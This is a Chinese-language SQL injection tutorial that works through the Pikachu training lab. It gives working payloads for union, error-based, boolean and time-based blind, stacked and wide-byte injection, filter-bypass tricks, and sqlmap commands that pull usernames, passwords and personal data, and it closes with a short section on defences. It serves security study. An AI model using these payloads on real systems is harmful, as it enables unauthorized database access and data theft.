SQL注入原理

SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断,前端传入后端的参数是攻击者可控制的,并且根据参数带入数据库查询,攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示:

query "select * from users where id=_GET['id']";

SQL注入条件

用户可以控制数据的输入。

原本要运行的代码拼接了用户的输入并运行。

基本知识(Mysql)

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

SQL注入技术

Union注入攻击(联合查询注入)

利用union查询来运行想要的sql语句

字符型注入,目标:获取当前数据库中的所有用户名及其他感兴趣的信息。

注入点判断

d' and 1=1#

 字符型注入点,使用单引号闭合即可

字段判断

order by 1和2时没有问题

order by 后面可以加列名,也可以加数字,数字应是小于等于查询结果的列数,所以可以慢慢增加,当出错时,查询结果就是出错时的数字-1。

d' order by 3#

没有找到3这一列 #下面的回显我们-1试试

d' order by 2# 没有报错

字段数为2,有回显,union没有被过滤,使用Union注入

sql语句猜测,从某个表根据用户名返回两个字段

select field1,field2 from table where 用户名 = ''

查询当前数据库

当前的用database()函数即可

d' union select 1,database() from information_schema.schemata#

 得到数据库名pikachu

查询表名

d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#

查询到的表

得到表名httpinfo、member、message、users、xssblind

查询列名

根据我们的目标,假设对member(成员)感兴趣

#查询member表中的列名

d' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#

#查询httpinfo表中的列名

d' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'#

查询所需字段值

有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号':',0x7e是~。

group_concat()将多行字符串拼接成一行

d' union select 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#

Error注入攻击报错注入

如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。

Floor函数报错

关键函数:

Rand() -------产生0~1的伪随机数

Floor() -------向下取整数

Concat() -----连接字符串

Count() ------计算总数

Payload如下:

Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

floor和rand(0)产生重复序列

根据x字段进行分组,统计x的个数

字符型注入,目标:获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。

注入点和字段数判断同上,已知:

字符型注入点,使用单引号闭合即可

字段数为2,有回显,updatexml没有被过滤,使用报错注入

#0x7e代表的是~号

LIMIT语法

语法:

limit m,n

从m位置开始,取n条记录

查询表名

d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

注意,结果只能是一行,所以使用了limit 0,1获得第一个表

当sql语句是使用 limit 3,1是时候就可以得到了users表。

** 查询列名**

d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

#共有一下几列

查询到的列名

同样,当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时,就得到了username、password、level三个列名。

查询所需字段值

假设我们对username和password感兴趣

d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

可以看出报错注入攻击比较麻烦,如果有回显,union没有被过滤,还是优先使用union注入攻击。

----------------------------------------没有回显-----------------------------------------------

接下来就是难度中等的了,没有回显,采用盲注

**B**oolean注入攻击(没有回显)

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#

没有错误

此时,条件语句where username='vince' and length(database())=7是True,也就是说数据库长度为7。

substr()截取字符串的一部分

字符

vince' and ascii(substr(database(),1,1))=112#

ascii

vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。

python sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=查询" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch

使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

**T**ime注入攻击时间盲注(无回显)

基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpad或repeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。

GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s[[),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#

同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch

太慢了,有其他办法不建议使用这个。

**堆叠查询注入****S**tack注入攻击

需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句,多语句之间以**分号**隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表(单引号闭合)

';show databases;show tables;%23

可以看到sqlmap中注入技术选择S时,payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

**inline ****Q**uery绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将' 转义为',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。

在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具 (atool99.com)

'编码

\编码为%5C,我们一般在地址后添加%df。

绕过</font>

添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。

为了方便理解,修改一下源代码,打印一下sql语句 。

修改源代码

vince' and 1=1#

后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。

%df%5C%27 or 1=1#

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入(post)

参数为数字,一般是id等。

1、没有输入框,所以抓包修改

判断是否有注入:id=2 and 1=1页面返回正常

id=2 and 1=2 页面报错,存在注入 1不等于2为false

2、根据返回内容,可判断可能有两个注入点,通过order by语句判断是否正确

id=2 order by 2没有报错

id=2 order by 3

3、尝试union联合来确定注入点

id=2 union select 99,98

4、开始爆数据库

id=2 union select 99,database()

数据库名称:pikachu

5、根据pikachu,爆表名,union联合查询需要借助information_schema数据库,来查询当前数据库信息,information_schema是mysql自带的数据库

id=2 union select 99,table_name from information_schema.tables where table_schema = 'pikachu'

可以看到存在一个users表,猜测用户、密码放在里面

6、根据users表,爆列名

union select 99,column_name from information_schema.columns where table_name='users'

可以看出存在user、password列

7、最后一步,根据表,爆数据

密码是md5加密,通过在线解密就可以

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。

判断闭合

标题

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2

获取数据库名

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like '%$name'

测试闭合字符

使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种,和前面的差不多。

select * from users where username = ('$name')

注入判断

** "insert/update"注入**

0x7e是~,结果如下:

数据库

"delete注入"

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

宽字节注入

sql注入绕过

大小写绕过

sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句

selselectect * from user

内联注释

mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行

and /!select * from user/

注释符绕过

注释符不影响语句的连接,

sel/**/ect * from user

or/and绕过

使用逻辑符号代替:and = &&, or = ||

select * from emp where sal > 500 && sal < 3000;

空格绕过

有的网站过滤了空格,可以尝试使用

%0a、%b、%0c、%0d、%09、%a0

或者

/**/、()

例如

 select * from/**/emp where (sal) > 500 && sal < 3000;

等价于

select * from emp where sal > 500 and sal < 3000;

防御SQL注入的方法

使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。

使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

检查数据类型

例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。

上web安全防火墙